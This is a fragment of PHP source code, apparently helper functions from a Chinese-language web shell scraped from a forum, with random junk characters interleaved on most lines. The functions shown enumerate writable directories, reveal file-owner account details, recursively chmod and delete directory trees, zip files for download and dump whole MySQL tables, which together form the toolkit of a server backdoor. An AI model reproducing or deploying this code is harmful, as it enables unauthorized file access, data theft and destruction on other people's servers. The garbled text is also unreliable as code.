- " i' S$ q2 K8 }% n3 E0 a: l
- return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];0 f) [6 c K+ E) q
- }
. i7 Y `4 A# a - 2 {! M& n6 _, k4 a" o
- function getUser($filepath) {
) X9 J2 ?2 Y: S' [* X - if (function_exists('posix_getpwuid')) {0 d! ]- c/ M7 d8 D
- $array = @posix_getpwuid(@fileowner($filepath));! f/ ]5 H8 g0 c) y3 J' k9 l" N
- if ($array && is_array($array)) {
u; v3 e. j2 c1 f - return ' / <a href="#" title="User: '.$array['name'].'2 D ~* Q5 Q! O+ A1 g" R# M! D+ {
- Passwd: '.$array['passwd'].'" F/ z2 _8 f! V/ K! {' M3 b
- Uid: '.$array['uid'].'
8 h# v) p( @! o0 N) S/ F - gid: '.$array['gid'].'
8 h5 \* M- x" ]0 A - Gecos: '.$array['gecos'].'* V8 @5 D0 O9 K2 E! V
- Dir: '.$array['dir'].'- h, T A3 _3 r& b# h" z& G' E6 j+ V" c
- Shell: '.$array['shell'].'">'.$array['name'].'</a>';5 r, V0 G* O$ G' }
- }2 t3 Z) h# X0 g3 W0 C5 [; `
- }
' [) w. ?& m9 |/ W - return '';
1 ~4 S% Q1 F' M - }6 U* C, L. |# u) ?* L% f2 G0 I" l
-
& x9 |4 Y8 O% ^6 S, @. u - // 删除目录
' D" U$ ] z" H N- N - function deltree($deldir) {
8 }+ d0 P* z* E. n - $mydir=@dir($deldir); + S0 [$ b- k3 K( f4 f
- while($file=$mydir->read()) {
$ H$ M' R1 J% n9 C! A - if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) { * i% Y* l8 F: t" u" h: v/ c j
- @chmod($deldir.'/'.$file,0777);
9 D- q/ |( G R5 ?6 {! L* X - deltree($deldir.'/'.$file);
$ S" n s4 m2 y# }3 L2 i7 h - }( Q U, u7 |& }0 U: x0 l* ]; u9 c3 H
- if (is_file($deldir.'/'.$file)) {
9 M# }' X) o7 A0 V3 T& O - @chmod($deldir.'/'.$file,0777);" D) S; f1 j3 m* @. F
- @unlink($deldir.'/'.$file);
! W* A) ?9 P; p6 P8 }" ] - }
n# D2 U2 b: {7 ^; ^ - } 9 p3 l: e) Y4 C$ U) }7 x0 L0 }
- $mydir->close();
' H4 _9 W6 P3 O5 R" \3 p9 E! D - @chmod($deldir,0777);, w3 ^9 I9 Z) B0 Z
- return @rmdir($deldir) ? 1 : 0;3 r$ R4 T& N7 j/ @# i' w
- }
9 J' W( k9 B" v. \ -
' @* x7 V. F5 [: p& j - // 表格行间的背景色替换: u+ e' m) H: l# D+ J. A, g
- function bg() {" J4 B0 Y- I* ?: F: t
- global $bgc;. I, j$ B1 m& y
- return ($bgc++%2==0) ? 'alt1' : 'alt2';/ T* o) b# i x
- }
1 v5 I( x, A, U+ S9 m6 ^ - 1 u0 g6 L/ w2 a" g; {0 w
- // 获取当前的文件系统路径0 Q, B: M4 L9 h; i5 S
- function getPath($scriptpath, $nowpath) {
9 f; b' R9 C! R3 P7 I! F - if ($nowpath == '.') {' P8 {) F8 L- R) ]: K( D
- $nowpath = $scriptpath;/ [2 h; f, Y& A; V* s( m2 V2 J- ]
- }4 L( m& c' M4 [. z- t" F
- $nowpath = str_replace('\\', '/', $nowpath);
! j! ~. k$ {1 A2 K) j6 ]8 \% e - $nowpath = str_replace('//', '/', $nowpath);, {4 `. o, a" U0 b0 @
- if (substr($nowpath, -1) != '/') {
: d! l; R: q" G7 B. A) f - $nowpath = $nowpath.'/';
& C/ a) e# r" h - }/ u, A) H6 \0 _% A/ l2 x5 j# q
- return $nowpath;
% K/ n4 g" ]* L! d F+ s2 s - }
$ u7 S: d4 K3 F6 J, j* ] -
3 a: g8 j( a% F. h- Q) o& \) F - // 获取当前目录的上级目录1 B+ O4 a9 Q! F, @7 X& }4 v
- function getUpPath($nowpath) {8 d2 q% C. @; n4 r' E# J8 N
- $pathdb = explode('/', $nowpath);
! M# P7 ]4 F# U - $num = count($pathdb);9 C3 u9 P$ @: ?3 p
- if ($num > 2) {- m( Z1 j- z5 p" I* G6 ~
- unset($pathdb[$num-1],$pathdb[$num-2]);1 r2 D+ J8 k: }
- }5 A" V6 e3 s4 a7 @1 a
- $uppath = implode('/', $pathdb).'/';
. U/ Z6 x6 m% ?, v' N - $uppath = str_replace('//', '/', $uppath);
7 H9 ]' [9 P% U - return $uppath;5 `0 a% ~: l* n9 ]
- }! }6 v5 g- y$ m- l2 R
- 6 L( G& x2 S- `& o
- // 检查PHP配置参数: h4 ~' B0 x4 s4 ]
- function getcfg($varname) {
! b9 T- z$ W. W6 Y - $result = get_cfg_var($varname);8 o. n6 O9 C. |( L; q8 E
- if ($result == 0) {5 f# l% H4 J. c
- return 'No'; d) f8 W# l, }. z, W" G( x" b( @
- } elseif ($result == 1) {& z2 w( G# T" \9 H6 i1 S# V
- return 'Yes';
/ g6 L% [1 N, _, h4 b - } else {7 n0 p6 J; m8 d6 `2 W7 X
- return $result;
# Y) U C2 R3 r$ q - }
3 K1 a9 j$ F5 f6 r. q! ^3 o% A7 S% D - }
, ~2 m0 }; ^& n. }' k `. E" Q - ; P/ y* H/ b5 \& i& z2 b, u1 y
- // 检查函数情况
2 i$ t/ d, T# [' |/ X& R1 j - function getfun($funName) {+ Y7 u; |9 w( i; ?3 @7 {
- return (false !== function_exists($funName)) ? 'Yes' : 'No';" j; _2 `' F7 r B. O2 `/ r1 E
- }( [& |$ v |* v
- I3 Q& @$ U0 }/ y
- function GetList($dir){; t. d8 M! r* X& \
- global $dirdata,$j,$nowpath;* f* j9 M. {4 I, S! S* y& ?
- !$j && $j=1;' E1 R" ]0 ?0 |# W" R" ]
- if ($dh = opendir($dir)) {
/ P- S3 ?" r7 ~6 `3 } - while ($file = readdir($dh)) {' [- o% T- o! [& N: b5 c
- $f=str_replace('//','/',$dir.'/'.$file);
9 S$ `. K2 J1 E/ w1 | - if($file!='.' && $file!='..' && is_dir($f)){$ h6 }+ Q: P: I1 F. b
- if (is_writable($f)) {
7 F4 k6 v; b, W: F/ V - $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
* h1 f% H; P) L* w - $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));2 p" i1 w4 ~% ~5 B- g9 k
- $dirdata[$j]['dirchmod']=getChmod($f);
1 e) ^( ?! @9 y' I* L/ O - $dirdata[$j]['dirperm']=getPerms($f);
! B8 w% u& L) w& H4 @ - $dirdata[$j]['dirlink']=ue($dir);
+ w+ W3 V' }4 _+ O1 U - $dirdata[$j]['server_link']=$f;
# w0 s4 @6 ~* Y( ^& J( d' w* ` - $dirdata[$j]['client_link']=ue($f);
, y. O' J! {; d1 s+ m" r7 k. P - $j++;
6 G/ P. R5 v" A4 Q! g( G4 r - }5 M+ u' i }; C. S8 ?
- GetList($f);) ^, o5 q- n$ j5 n. f
- }9 d B% b, Q5 e, z! y
- }
6 r! p4 k' ~6 W0 j9 P - closedir($dh);
& U; W& p8 U* J3 h( N/ _8 ], D - clearstatcache();" ]- l; T% o! R6 I! L" L
- return $dirdata;
) |+ A( [+ n" N( U; i" \! o* ] - } else {
2 T9 B, w2 u5 W9 a t - return array();
& _* {; m& `& z# K - }6 h7 V' |& y9 ]& e, w ^6 h
- }6 T8 {. r8 s: o9 Q/ ~
-
0 E5 Z }# I. D5 Q! D8 S( f - function qy($sql) {
0 v2 J* T1 t% t4 W; v# k( t/ Z4 i4 b - //echo $sql.'<br>';- k0 d9 q2 ~; B" M; g
- $res = $error = '';
3 c1 V( Y% l) h/ C - if(!$res = @mysql_query($sql)) {
% }/ G% F& _8 }4 \0 N - return 0;7 s6 K3 f( p7 ?
- } else if(is_resource($res)) {5 X$ L1 b( Q0 u' }; `5 P
- return 1;
+ f* V" \5 c( T - } else {
# s$ t9 N& ?. ?+ s: K - return 2;, i: t% f/ u. l# `4 h% ]
- } ; x3 U7 D; W- {4 A3 S
- return 0;" C+ D5 |6 o7 ]) R# U. A" B
- }
6 X+ x, ` ~1 V" t' m - 1 d$ I( {3 ~; h4 d4 h
- function q($sql) { % M* l# u; |, U" e* f
- return @mysql_query($sql);% ~: x. t- Z& k$ D8 V* b
- }
0 |2 g3 a4 Q* P) d5 @/ L. s - 6 K0 |6 J& Y9 ^9 B$ ?+ W
- function fr($qy){) H6 ~5 K* a5 }, L. j
- mysql_free_result($qy);
5 Y) L( k8 J) Z7 O2 r - }
, `) e! D" l( N% i- n# [) b4 k, c -
2 b8 v2 x& h- N2 D* g - function sizecount($size) {, d( Q; [+ S+ ~+ P
- if($size > 1073741824) { }6 w" c& D" C5 w3 W
- $size = round($size / 1073741824 * 100) / 100 . ' G';
1 M( V8 \3 ~; o+ ~2 q4 | F7 K" r - } elseif($size > 1048576) {: j9 ?" T. N) M$ c( F* w$ [
- $size = round($size / 1048576 * 100) / 100 . ' M';
/ k( q$ I' \- _8 _2 f - } elseif($size > 1024) {% O; P& y- D- V
- $size = round($size / 1024 * 100) / 100 . ' K';
7 |0 V G! d. Y$ x( |$ g - } else {5 D$ W( F3 z2 V! ~2 v
- $size = $size . ' B';
% A+ D6 o% e1 X" I4 z - }8 m5 c# g" B% J" N8 m- u1 b. ?4 h& |
- return $size;
' r* t, X; A' M5 i3 t - }% H. b! M' P1 A0 f% B. i4 Y
- 8 r: q( b+ m* N2 w0 X
- // 压缩打包类
# B {1 W; O7 s/ ~3 U7 A) A - class PHPZip{4 ^1 @5 J; @' w0 Y; v3 I
- var $out='';0 } l9 y' i- _
- function PHPZip($dir) {* \/ A1 ]: v3 c* I6 s' a2 _6 f# x& ~
- if (@function_exists('gzcompress')) {' [6 r. n L* q8 g0 f/ s, V
- $curdir = getcwd();
% U( @% F% {7 l8 @- U - if (is_array($dir)) $filelist = $dir;5 H& U1 R& C. X) B
- else{
/ K: Q) s% a2 U) T& } - $filelist=$this -> GetFileList($dir);//文件列表
3 o8 s+ X! W j# Z6 k Y" V) e% I - foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
3 O( F0 H! `1 }# O b - }
& w5 R0 j1 A6 r4 F: {5 R - if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);) u+ C! ~+ m2 V% [( ^, F5 A: p3 M
- else chdir($curdir);6 Z3 }! x- h5 w* u9 w4 U
- if (count($filelist)>0){* f0 {; p1 y! Y. l9 H" H
- foreach($filelist as $filename){9 q1 }; }& S5 A
- if (is_file($filename)){
8 E8 s* V' o7 _ - $fd = fopen ($filename, 'r');! ?$ @3 T$ o# P ]% K/ n
- $content = @fread ($fd, filesize($filename));
0 u! z+ f7 E; u - fclose ($fd);- O8 g. G- P: {7 H/ Z
- if (is_array($dir)) $filename = basename($filename);; N |' R7 u6 F0 k" B, T: `$ q
- $this -> addFile($content, $filename);
, w2 C+ v' T! h; Y - }
, m# ~+ `& z4 f, v - }
8 a9 }7 \8 r) I - $this->out = $this -> file();% h9 h& W. Q `* E) T4 q
- chdir($curdir);
4 U- ` ]0 w4 I, \6 E4 E - }# C* A9 h. r) B
- return 1;; P1 g7 D3 V$ w' ^/ I# Z7 K
- }
9 X% j( I. q- t- G5 K- Z2 D - else return 0;5 ?8 {& s& r4 m! t" J
- }
@5 Y8 W) `! R8 B' C -
/ U! ], g4 T7 N- h$ H4 f - // 获得指定目录文件列表
/ s L) E, j( Q1 k - function GetFileList($dir){+ q% D5 J% ]: A) l
- static $a;; W, t0 N# a0 O6 {# E6 q6 _" ^
- if (is_dir($dir)) {4 V6 I. q j. ~9 B8 f1 U3 I# l$ v
- if ($dh = opendir($dir)) {
: Z2 F/ G% ~, a, T+ ` - while ($file = readdir($dh)) {
( |$ ^) @5 l0 a6 D; {" Q8 z0 w* a+ T - if($file!='.' && $file!='..'){7 h1 f( q( A' F3 u9 h+ C
- $f=$dir .'/'. $file;
. V$ G6 l% w# X: `7 R! z0 n! L5 W - if(is_dir($f)) $this->GetFileList($f);8 ~& }, [3 m) ~( I
- $a[]=$f;' o. y/ u0 H& D, C/ O+ I! x3 P7 y& m+ l
- }* G* ?4 i3 |+ s* y
- }+ I! t3 h6 S9 T N' \6 O
- closedir($dh);5 a/ L1 s- a- D, H0 A2 Z) M
- }
8 V2 p7 l6 \; f: u - }" y- p* E& Y% t: c& w' X2 ~
- return $a; b4 [$ u+ l- h! t1 L- Y
- }
) `' q& p* D& K- M: ]$ J( E -
" Y3 r4 U6 I' ~2 T! G" [) [$ } - var $datasec = array();* y# k4 U) R5 ?7 m
- var $ctrl_dir = array();
: ~ H- _* O1 H; k- s - var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
4 c9 p+ x4 L) e* K) N- Q - var $old_offset = 0;4 H2 o% \8 B7 W8 X4 r+ s/ q
-
- \, Z5 E k) ` - function unix2DosTime($unixtime = 0) {& E: j/ q) [4 i \) _: L2 ^0 L
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
9 x2 M M4 u/ |+ Z* j7 e - if ($timearray['year'] < 1980) {8 Z5 G1 D7 ]) q2 T0 [; F
- $timearray['year'] = 1980;
- l6 t4 V2 G* X, _9 P3 V - $timearray['mon'] = 1;
. S: l* h" t8 W! I. x1 a/ [ u - $timearray['mday'] = 1;
4 a/ t+ Z. \ y0 L" z: z - $timearray['hours'] = 0;- z1 r' i; S4 c( B ?! I
- $timearray['minutes'] = 0;
6 w0 n5 s$ e, ?7 z" Q( D( c% K! |( V - $timearray['seconds'] = 0;
4 z' N/ k6 S! v0 b% M, u( h) w% N - } // end if
: w; U# V* D- u: [9 c9 k4 W - return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |! B% ?6 X J$ m% U5 B+ D9 Y
- ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);' U* b+ r/ y( L+ h! I0 e0 G# c
- }% b& {9 R6 I. I/ O& u7 S
- function addFile($data, $name, $time = 0) {
. q* z4 ?5 O- ^' r( ^6 Z* I' s& S - $name = str_replace('\\', '/', $name);
) l# U6 C" T. n - $dtime = dechex($this->unix2DosTime($time));5 o; g* L- N, M; I6 E- I. X
- $hexdtime = '\x' . $dtime[6] . $dtime[7]! e) c7 o$ t; a" U! x
- . '\x' . $dtime[4] . $dtime[5]1 N( u' z, S) ?" T
- . '\x' . $dtime[2] . $dtime[3]; S! Q4 Z8 _& X8 `" N
- . '\x' . $dtime[0] . $dtime[1];) m; x G2 [3 E
- eval('$hexdtime = "' . $hexdtime . '";');/ b# z/ H# K) o6 b
- $fr = "\x50\x4b\x03\x04";& e! x+ d9 N! w7 D4 [
- $fr .= "\x14\x00";9 [6 A% i. p n% |
- $fr .= "\x00\x00";
6 ^6 x3 x8 g5 M. \, X( c3 U, j0 i+ N - $fr .= "\x08\x00";
% Q2 G( [8 R% Y9 @* X - $fr .= $hexdtime;9 g F' R1 E, w) H3 {7 b
- $unc_len = strlen($data);
: L6 j( M( u+ ~: y, a0 P$ g - $crc = crc32($data);
4 m) {7 Z5 _. _% @$ T; K( s# K9 {; O - $zdata = gzcompress($data);
# d! C: s d3 X8 w - $c_len = strlen($zdata);
! a& I' f! b6 @4 H2 M) \ - $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
! |7 L& N$ @( V; ?& @$ q+ J - $fr .= pack('V', $crc);0 [4 _' S6 h) m8 H' k
- $fr .= pack('V', $c_len);2 ^/ }! l; n* I9 D
- $fr .= pack('V', $unc_len);
X) j: @" C" e, A - $fr .= pack('v', strlen($name));
2 @/ L, Q6 ]& ~# C$ ]' v - $fr .= pack('v', 0);
# N; M4 k3 o6 n7 N - $fr .= $name;0 M: N4 a1 g, J
- $fr .= $zdata;
" |7 W- q) a0 }4 O: R/ v - $fr .= pack('V', $crc);" I& o# c& v* \& c% y }
- $fr .= pack('V', $c_len);2 z, u" K* o' P4 c# d$ s
- $fr .= pack('V', $unc_len);; ^: A! j q, N7 H8 @
- $this -> datasec[] = $fr;: ~; q* H7 h9 k8 B9 X
- $new_offset = strlen(implode('', $this->datasec));
& O0 H5 x8 d# A3 H% X. V2 W/ ? - $cdrec = "\x50\x4b\x01\x02";4 m: u6 I" i4 X3 i( T* U* Q+ z
- $cdrec .= "\x00\x00";% d3 F3 z a6 [# ]4 m
- $cdrec .= "\x14\x00";
9 w; \6 I) J2 X7 h - $cdrec .= "\x00\x00";: L: c! _& T) X# a7 d% S
- $cdrec .= "\x08\x00";& v2 [* i/ i7 e4 l
- $cdrec .= $hexdtime;2 Z) e4 {6 U4 K4 O: U4 ]& D
- $cdrec .= pack('V', $crc);, i' B+ R& y7 g( b2 _
- $cdrec .= pack('V', $c_len);
6 b4 P+ {1 X+ Z5 x - $cdrec .= pack('V', $unc_len);
: Y5 ^" X6 F+ j" O' Y* s) r - $cdrec .= pack('v', strlen($name) );
8 a/ f/ @; {" I$ F* M - $cdrec .= pack('v', 0 );
5 }0 N+ z. n7 |4 d! o - $cdrec .= pack('v', 0 );
: r- G( d7 M* E1 c& l+ P3 `! Y - $cdrec .= pack('v', 0 );1 I6 `" H; q' J( ?$ Y) b# u1 m
- $cdrec .= pack('v', 0 );
- C! g3 Q {4 V' [2 j - $cdrec .= pack('V', 32 );
$ G; y7 ^; c0 i - $cdrec .= pack('V', $this -> old_offset );9 h: |0 A2 G0 p4 o0 R3 p' ~; ?" x0 P
- $this -> old_offset = $new_offset;8 \8 f/ c, l3 w, q3 F0 o O' X: X
- $cdrec .= $name;% O) ~& }$ W8 x0 _( D
- $this -> ctrl_dir[] = $cdrec;
* t, h1 Y- C+ f - }( m: h- w; r: ^
- function file() {
: a7 L4 C0 `7 ]! l - $data = implode('', $this -> datasec);
- p) A; @3 t5 K5 F& d - $ctrldir = implode('', $this -> ctrl_dir); f9 @2 V" u% E4 ^
- return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
4 R& p# }7 @7 x" L" l/ B6 S - }$ x( B# R5 g& ]0 q5 h
- }
) a* z+ T* A: g* t% s2 }+ b9 r - // 备份数据库
, Z& k6 r* P# O' e. k" A - function sqldumptable($table, $fp=0) {+ D; x2 z' ]) H
- $tabledump = "DROP TABLE IF EXISTS $table;\n";1 }3 X0 c! n7 k1 A
- $tabledump .= "CREATE TABLE $table (\n";
$ U3 v4 y8 G$ P, g8 o, S - $firstfield=1;
) h- l, \) x( J+ ~7 d& _% P6 P3 I - $fields = q("SHOW FIELDS FROM $table");
- ?5 |: `& F. j8 f - while ($field = mysql_fetch_array($fields)) {- B" J2 h( x; ?. f
- if (!$firstfield) {
. @# ^% l7 z% z$ o& U - $tabledump .= ",\n";
. Z& ^( d' O2 V! n; c5 U - } else {# K- |8 |. F2 b1 h/ b1 u/ v: F
- $firstfield=0;
8 h2 S& f# ~# a6 w$ s1 q% L. c# b [ - }
1 c8 r8 x' ?- ?6 z - $tabledump .= " $field[Field] $field[Type]";
6 d% M' y; W% ^9 C" c2 I( H/ V - if (!empty($field["Default"])) {# \; u- j( m( p0 C. ~" s" L1 c. P5 u
- $tabledump .= " DEFAULT '$field[Default]'";
/ r/ z$ o( m5 g$ E. w - }8 y+ {1 r, g, ^) e6 q& S) R8 C
- if ($field['Null'] != "YES") {: {! }$ L8 V8 L- Y& {
- $tabledump .= " NOT NULL";- V7 d6 `( I( D
- }
7 }# @( s, H! F* X3 x: }1 ^ - if ($field['Extra'] != "") {1 C. ~5 S$ V4 C0 q4 f
- $tabledump .= " $field[Extra]";" v; J, s# \ p0 Y9 }" v. B
- }
2 ]7 g+ z& p# y - }
/ R7 A3 A8 Y, M8 M% l - fr($fields);( m7 Z, |* T# `4 E
- $keys = q("SHOW KEYS FROM $table");+ U6 y+ L2 A. S5 z+ x( n% z7 C7 o
- while ($key = mysql_fetch_array($keys)) {0 m3 C$ J) [$ J1 Y1 G- p8 k. o
- $kname=$key['Key_name'];4 z6 m, c/ I! _ n" Q
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {/ D7 ~" k* B: @! [
- $kname="UNIQUE|$kname";, Z" I, {" G8 } h" [& M
- }& P. ]' h0 `4 ^4 p' n& O3 c
- if(!is_array($index[$kname])) {
& n9 q: |. x5 Q, c - $index[$kname] = array();
2 A! s8 S7 Y1 J5 C- ` - }
m2 p# Y. Z" S- I4 w- q - $index[$kname][] = $key['Column_name']; S3 C, q9 J, u5 g( q5 H# ]
- }9 Y* J: e, p i: I* a1 O
- fr($keys);
* K8 J6 u# f0 j0 J" n+ Q% [ - while(list($kname, $columns) = @each($index)) {
& F3 ^. x7 [6 k: _* C w - $tabledump .= ",\n";
; n9 x& C, C5 w. G! e3 i - $colnames=implode($columns,",");
7 l j9 ^' F& |; p9 p' \8 S - if ($kname == "PRIMARY") {
, ]" w% n" U3 @+ G7 v% k% Q% T/ ~9 ] - $tabledump .= " PRIMARY KEY ($colnames)";
4 ?5 O$ P4 L- x! I0 Z5 u - } else {
6 Q' Y( m; n! ~' x - if (substr($kname,0,6) == "UNIQUE") {
' z7 @, X$ X" ~1 S! M* X2 u3 S1 |+ q - $kname=substr($kname,7);
7 K; d" c, E2 N1 h3 t! Q - }
" c+ t# G5 L9 y5 t7 p' y - $tabledump .= " KEY $kname ($colnames)";
6 @& Q+ Y0 b; U8 d: x1 D1 m v/ c" ~2 I - }2 B* g% d$ x- Y4 l+ ^/ \ H& f s
- }
& {% t4 `7 J/ J - $tabledump .= "\n);\n\n";' k# j/ p1 T- K" {$ K9 P
- if ($fp) {7 p: T4 b ~$ A) h7 o* N7 s
- fwrite($fp,$tabledump);. t9 R! i, L3 U
- } else {) g' ~% u3 u' E( b* C8 h& l' s
- echo $tabledump;
$ n$ f( f, [5 O! U - }; i( z: X3 e) [) e2 \8 P
- $rows = q("SELECT * FROM $table");
! r" \; K9 b P1 C - $numfields = mysql_num_fields($rows); h# S7 D6 g4 ]6 w& l* ^
- while ($row = mysql_fetch_array($rows)) { R) k9 u2 C' S1 q% X
- $tabledump = "INSERT INTO $table VALUES(";
6 k) H3 o4 {+ D5 b3 H0 i - $fieldcounter=-1;3 `1 y' f/ R, g4 x3 f- B7 W
- $firstfield=1;
3 m8 L! t8 _; L% C4 _5 X; T: w - while (++$fieldcounter<$numfields) {* J/ i6 N* s" E
- if (!$firstfield) {. p) U: c3 T3 T* u6 s4 i/ j! H
- $tabledump.=", ";
: f) j& q& f; t- q+ w: Y+ G - } else {
4 P& p3 C! R% T/ w; A0 b1 U# w! }1 Y - $firstfield=0;! ^* I3 `5 W0 e% X* k2 X: {: e
- }1 @3 m( P, T2 [* V% k! |
- if (!isset($row[$fieldcounter])) {
: y6 g% b( n% r - $tabledump .= "NULL";" T( O% n5 V* Q2 R/ R
- } else {
% t V$ p+ ^. X) K5 {; r# C - $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
0 N, W" O. L1 F" Q0 n - }- @ t, F9 H+ |/ R# P8 K1 K
- }5 m3 \+ E2 j1 w5 f( x: C
- $tabledump .= ");\n";: K" j. K. T$ | K5 U
- if ($fp) {
$ M' N$ V4 a! Z5 \& _! O" X+ \% ] - fwrite($fp,$tabledump);) {$ m/ d M& ^6 M! W/ |
- } else {9 r. Z3 k# q, E' m5 e8 Y. X# ]
- echo $tabledump;' A+ n6 g& p5 {6 j2 E- j. ?3 A
- }5 f$ B. O7 j6 W2 |" c" o
- }
7 f8 x+ X+ }8 s) Y5 t( U C - fr($rows);. o% }1 W6 J& a$ i4 J. K; g
- if ($fp) {
' M2 p) R. ?( i' q - fwrite($fp,"\n");
7 W" z: H7 ?! H - } else {
; L: w' A$ f& l* N2 x - echo "\n";
- H. `+ }( v, ?3 X F3 h ^ - }
7 ^0 P; ~( J/ ~4 E/ h - }
s* ?' S7 {: l2 P - function ue($str){7 V. X. Z' U9 C, ?
- return urlencode($str);4 b! _( M6 f$ r& w
- }
- O5 E% Z% c- ~1 ?( w) L - function p($str){
2 l+ m2 C# t4 m7 |# a) ] - echo $str."\n";5 W, H3 w/ u1 P- Y7 n8 _# ]
- }
3 e- { p3 _6 a0 y* k; _9 O9 ~ - function tbhead() {$ A% a2 m ^6 ?
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
\, U; R m! Z& l" |- C; D - }4 Z# `0 w8 a3 P- G# s* f
- function tbfoot(){( k" ~1 y1 }; Y5 |
- p('</table>');' ?. A. X# I1 X
- }4 x/ [3 D$ R# @9 a0 C8 X' Q
- function makehide($name,$value=''){
# X- B8 P; ]7 q - p("<input id="$name" type="hidden" name="$name" value="$value" />");2 x& v. z0 G# N' J. Q, t" ^0 ~8 ?
- }8 X+ X' t6 ~5 k/ p. D: O
- function makeinput($arg = array()){( b$ `$ f$ J5 X8 S& h/ x
- $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";" @8 T X0 n$ i- N1 O' t3 W
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';, A* r- f" H9 T, I! v
- !$arg['type'] && $arg['type'] = 'text';/ f+ b5 \; H* Y& I& i, F
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
4 u" |( n8 S, ^0 O1 O. y - $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
- o4 }* p& t: T0 {; {$ r/ d - if ($arg['newline']) {
% C* ?# L% c6 P1 m - p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");: ?2 J% l7 j u" k
- } else {
% W @5 @) r; w, d; R8 A - p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");4 @. H2 x3 D9 |: K# S
- }/ q3 J s, U4 a4 K; Y
- }
7 ?: s9 ~7 X; C3 A - function makeselect($arg = array()){
& {5 h; M8 Y3 |! L0 L! b g - if ($arg['onchange']) {
" X, Y2 d5 S2 e& x4 }: S O R0 J7 N - $onchange = 'onchange="'.$arg['onchange'].'"';
" s% A2 N! C5 i$ G) K$ { y% h% Y! s - }! R9 {! a( M4 k
- $arg['title'] = $arg['title'] ? $arg['title'] : '';
% k+ {; d$ T: \& ` - if ($arg['newline']) p('<p>');5 |/ Z9 g& V( O/ G+ z$ E& p' I+ @8 ~
- p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");& Z/ Q! F h C5 Y$ z3 J. D; \: X
- if (is_array($arg['option'])) {3 Y3 b6 D3 {6 u" f' T1 e
- foreach ($arg['option'] as $key=>$value) { B4 [5 O4 D' g+ k+ S& |+ L1 x
- if ($arg['selected']==$key) {
" B- J- ^: S X* K8 S3 g9 I - p("<option value="$key" selected>$value</option>");
, @; }) o2 ]/ O - } else {4 N6 |/ }4 f* J( q
- p("<option value="$key">$value</option>");& |" \: N8 b9 D, g6 Q+ \; Z
- }
; d1 t% f4 U# c/ [0 g8 P- u, D - }
+ R, j" p7 \! }' w# u9 J - }
+ |/ B3 h1 v) a2 N, J- B - p("</select>");6 x8 T: W3 O7 v7 ~) C
- if ($arg['newline']) p('</p>');
3 H& \$ N) d; Z3 h+ H - }
5 d6 g; C9 i# R3 @$ a' y - function formhead($arg = array()) {9 G/ p I9 P M9 P( o3 g
- !$arg['method'] && $arg['method'] = 'post';
" i, J- q4 @! u. q+ A: } - !$arg['action'] && $arg['action'] = $self;" k) H; U2 G1 C4 P- h
- $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';* W- X! u V4 T8 z% s9 V
- !$arg['name'] && $arg['name'] = 'form1';
$ s, T0 }4 Y& d# @' p - p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");4 p# x1 O7 }3 R' ~) V7 C7 H
- if ($arg['title']) {
$ [" z; w1 x% ]7 |0 o% ^ - p('<h2>'.$arg['title'].' »</h2>');
n$ M. }# [( a4 b r4 [ - }
# s" [& L, z7 {. ?* s. _) b - }) b5 p( U" r) {/ x. g$ o
-
) d; T. ? A; x; l - function maketext($arg = array()){1 W8 @8 e3 k) P1 O
- !$arg['cols'] && $arg['cols'] = 100;
( j) m9 L: R1 l3 z; m# x - !$arg['rows'] && $arg['rows'] = 25;7 Z, t) @. R& A0 Y7 h
- $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';* J ?1 U9 M( J* Y' R* R2 D) E- I2 I
- p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
' A+ p8 v/ P- A- x# ], } - }- n% y% i+ Q" J. _1 f
- % g* k; z- c- B5 F; X1 ? n: {
- function formfooter($name = ''){! d* S- O2 `. e* I3 o1 i5 x) \
- !$name && $name = 'submit';
! q* e5 q0 ]) z& j6 [7 t" R+ l - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
& {% m, _) f! O - p('</form>');
1 \/ ^0 G" f/ n/ ~3 z6 l - }
8 J$ a8 X$ k7 @7 z/ [1 F -
9 B$ [, L0 p2 M8 ]8 D - function formfoot(){
' s+ ^) O" {& U% v3 M! r6 x* W - p('</form>');; V1 \" d7 z, I' g5 R
- }) X9 N& Y$ H" N+ f
-
% f6 J' t' l; Y+ i) \ - // 调试函数
3 I! Z7 s8 I" p - function pr($a) {. \3 C6 J; P: s* e+ Z) U
- echo '<pre>';- Z% T- f: i9 ]1 M2 s/ }
- print_r($a);
+ W5 g# U6 Q% n0 s+ E" I% T8 M - echo '</pre>';
